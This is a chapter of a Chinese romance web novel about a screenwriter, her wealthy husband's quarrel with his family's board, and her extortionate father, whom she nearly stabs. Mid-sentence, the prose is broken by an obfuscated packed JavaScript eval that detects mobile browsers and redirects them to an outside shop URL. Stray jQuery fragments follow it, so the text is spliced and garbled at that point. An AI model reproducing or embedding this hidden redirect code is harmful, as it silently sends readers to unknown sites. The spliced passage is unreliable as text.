20.在老婆面前,我不怕累
作品:《先嫁给霸总再说》 “你把这碗面吃了,就早点睡觉。
明天的剧组,我保证没有那些让你烦心的事儿了。”
金宴之把装着晚餐的托盘放在床头,怜爱地拨开爱人被汗浸湿的额发。他的睡衣只随手扣了下面两颗扣子,敞开的领口大大方方地露出了大片的胸肌,端着碗的手腕上有凸起的青筋。
想拿过勺子自己吃的人,被推开了手,对面的人声音低沉又撩人:
“我喂你,你今天辛苦了。”
被这话整得小脸一红,林祯儿更加有些紧张起来,送进嘴里的面条是什么滋味她全然尝不出来,脑子里全是刚才两人翻云覆雨的限制级画面,磕磕巴巴地答了一句:
“你,你也辛苦了。”
这句话出后后,她就有些后悔,果然专心喂她吃面的男人立刻得寸进尺地放下碗,歪头凑了过来,紧紧盯着自己躲闪又害羞的眼睛,把嘴唇凑到了她的脸侧:
“我说的,是你今天打架辛苦了,你说我也辛苦,是在夸我的表现吗?
在老婆面前,我不怕累……”
伸手自己把碗端起来的女人,呼噜呼噜地连汤带面往嘴里赶,根本不敢接那头饿狼的话。等到把吃的都炫完,那个趴着的男人往后坐了坐她才松了口气。
等窗外的天黑透了,把她搂在怀里像个家长一样叮嘱老婆接下来几天好好工作,自己要回平阳处理两天工作的人,又换了张正儿八经的脸,看上去半点歪心思都没有,语气里全是爹系老公的沉稳。
林编剧虽然连连点头,知道新项目的进度不能再拖,却在心里暗暗的舍不得起来。从结婚到现在,他们几乎没有分开过,就算白天各忙各的,晚上也一定会在家里见面。
不知道公司到底出了什么事情,要让这位平时多晚都要回家的金总留在平阳两天。
可脑子里的困意来袭得太快,还没来得及追问缘由,她就在那个让人安心的臂弯里睡了过去。
等到第二天醒来,身边的枕头已经空空的了,下楼吃了早饭按照老公的叮嘱赶去上班的人,进了剧组第一件事,就是发消息给金总打卡,对面的人回复简单,除了叫她按时吃饭早点回家,就只剩下一个笑脸结尾。
收起手机的人走进熟悉的片场,周围的人果然如昨晚那位资本家预言的一样。在导演和主演都被换掉以后,非常及时地掉转了方向,都开始巴结起如果势头更猛的金太太来。
以往金氏对影视项目都保持着只投资不插手的态度,远不如在影视圈深耕多年,从演员到制作方事事都过问的江家。不过好在,这部剧的最大资方,是自己那位新婚的丈夫,所以连她也获得了从前没有过的话语权。
编剧的工作还是和之前一样从早到晚的开会,到了半夜才收工的人看见门口停着的车里只有小谢没有老公,心里不免有些空落落的。
“你和来财在家好好的,我给你俩定了新一季的银身鱼,你回家就能吃。
我争取后天回家,要是有什么事儿你随时给我打电话。”
说话言简意赅的金总似乎真的很忙,挂了电话抱着小狗的人看着桌上肥美的刺身,觉得连胃口都差了不少。卧室的温度依然适中,大大吃床上抱着手机发呆的人,第一次在婚后体验了失眠。
“师父,我包一个来回,去平阳。”
林祯儿从来没觉得自己离不开谁过,这么上班上到一半去买了大捧的花,在人少交通又不便利的剧组包黑车进城的事儿,她也是第一次干。
怀里的墨蓝色剑兰是熬夜选了很久定好的,为了行动保密,她连司机也没告诉,早上开完会就请了假出发了。没想到到了公司,却扑了个空,会议室和办公桌前都空荡荡的,金宴之不在公司。
再三叮嘱助理保密,抱着花又急匆匆赶回家的人,还没进院子就听见了激烈的争吵声。
“我们这些叔叔伯伯甘愿退居二线,把做主的权力交给你。从来不在董事会上反驳你,是因为我们看重你!信任你!
不是我们都聋了瞎了,随便你胡闹,为了一个女人和江家闹得满城风雨!今天停这个项目,明天终止那个合作,搞得两败俱伤,金家几十年加起来上的娱乐新闻,都没有你结婚几个月多!”
说话的是金家的大伯,她见过。
“当初你们在一起就被媒体做足了文章……她先和潮声出双入对,又和你闪电结婚!家境更是普通至极,对家族没有帮助就算了,现在还搞得你昏了头,为了她短时间亏损这么多,拿大家的钱去讨你老婆一笑,你真是让人寒心!”
这个声音是金潮声的父亲,除了婚礼那几天见了两次。之前也只在前男友的聚会上短短碰到过两次,那时这个中年男子彬彬有礼,连笑声都老钱气息十足,全然没有想到他气急败坏时是这么激昂的人。
“金家在我父亲手里的时候,拥有了势头最好的光景。
再后来他走了,你们逼我签转让协议,今天投房产明天搞餐饮,能烧钱的都亏了个遍。到我手里的时候什么样,各位心里没数吗!
怎么这些年钱赚够了,短期一点这么小的破损,就都坐不住了,是真怕得罪江家,还是我越做越大,你们的话语权越来越小,找个由头发作,大家心里都明白!”
金宴之的花话声伴随着清脆的碎裂声压倒了屋里别的声音,抱着花站在门口忽然不知道自己该不该进去。这必然不是这几天他们吵的第一次,也不会是最后一次。
在巨大的利益面前,要这些长辈体谅他们是被江呈景那个疯女人逼得没办法了才做出的反击,显然不可能。更何况,从头到尾那位江大小姐要为难的都只有自己,丈夫雷霆之怒牵连的却是整个金家。
换谁,都无法在真金白银的亏损面前,体谅一个上嫁的女人,那些无法言说的委屈和情绪。
“你怎么回来了?剧组里又出什么事儿了?小谢…小谢呢!”
站在原地的人还没来得及悄悄撤退,就有个高大的身影推开玻璃门走了出来。原本聚在客厅里争论不休的叔伯们见她回来了,都拉着脸安静了下来。
急匆匆连鞋都没换就跑出来的人接过了花,将她的手紧紧攥在手里,语气里全是心疼。金宴之还是那个当初坐在出租房里许她一切都男人,从头到位的温柔和回护都没有变过。
自己却不是当初那个野心勃勃一心只想往上爬拿到更大结果的人了,曾几何时,她以为大家不过是各取所需的同床异梦。她给他想要的新鲜感和温情,他还她平步青云的大好前程
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906074|191182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
可走到今天,林祯儿终于清清楚楚地看到了那颗早就沦陷的心,此刻正在不忍和不舍里反复煎熬。
要是一切都还在开始的时候就好了,那时的自己,还能在所有人焦头烂额的局面里理智地拿钱走人,不会像现在这样沉溺在对那个男人的爱里,迟迟不肯抽身离开,幻想着他们能携手白头的以后。
“你等我一会儿,我去跟他们再聊几句,就陪你回剧组。”
把她送回卧室的男人,轻轻吻了吻老婆的鼻尖,就又急匆匆地回了楼下。
心情复杂的女人,低头摁开手机,那个她这辈子最不想面对的头像,居然发来了新消息:
“你可真是个畜生,要你几个钱,把亲爹搞进去坐了好几个月。
听说你被拘留的事儿被爆出来了?我今天出来了,你下午两点前到小区对面的燕云餐厅来,和我吃个饭,别逼我找到金家去,到时候才真难看得收不了场。”
楼下的争吵声还在继续,深呼吸了几次,拿起包下楼的人,偷偷从玄关溜了出去。那个在心里定了的主意,也到了该实施的时候了,如果对方见好就收,那她乐意配合,如果那个生物学上的父亲贪得无厌,也只能鱼死网破了。
“诺,这是人家江小姐给我看的亲子鉴定,你可别叫那有钱人蒙了。
那人家江家养的那个孩子,就是他俩的!是当年你那个老公浑得不成样子,人家江小姐没办法才出国嫁人的。”
见自己进屋,像得到什么重要情报的男人啪地掏出了两张纸拍在了桌上。
“你说的江小姐,是江呈景?你和她联系上了?
我被拘留过的事情,是你告诉她的,她给了你多少钱?让你这样伤害我?”
林祯儿的质问里有些绝望的颤抖,她当然不相信面前这份所谓的亲子鉴定是真的。江家联姻的豪门哪有那么好糊弄,会莫名其妙养着别人家的血脉。但面前的亲爹,出卖自己的过去换钱,应该是千真万确的了。
“六十万……我刚给了你六十万,你到底在外面欠了多少钱?
转头就跟江呈景勾结起来害我?”
服务员上菜的动作没有因为她握紧的拳头也停滞,摆在面前热气腾腾的海参旁边有用来切肉的刀叉,女人的眼睛在上面停顿了一会儿,周围吃饭的人说说笑笑热闹得很,心里又涌起了十九岁那个雨夜要和对方同归于尽的决心。
“六十万?六十万够什么?我欠了四百多万,你有本事就给我全还了,没本事就别想过安宁日子……”
对面的人大口吃着肉,嘴上全是油光,脸上全是奸猾。偷偷捏住那把小刀的人,脑子里全是从小到大经历的各种打骂和折磨,也该到头了,既然这地狱里爬上来的恶鬼怎么都甩不掉。
她至少可以不再牵连那个世界上最真心实意爱自己的男人。
“她过不过安宁日子,还轮不到你说了算。”
碗盘碎裂的声音,伴随着服务员的尖叫。措手不及的林祯儿望着揪住男人就打的金宴之,脑袋空白了好几秒,等她冲上去的时候,桌子已经被掀翻了。
恐惧和惊慌搅在一起,她紧紧抱住金宴之的胳膊,用尽全声力气喊了出来:
“够了!”

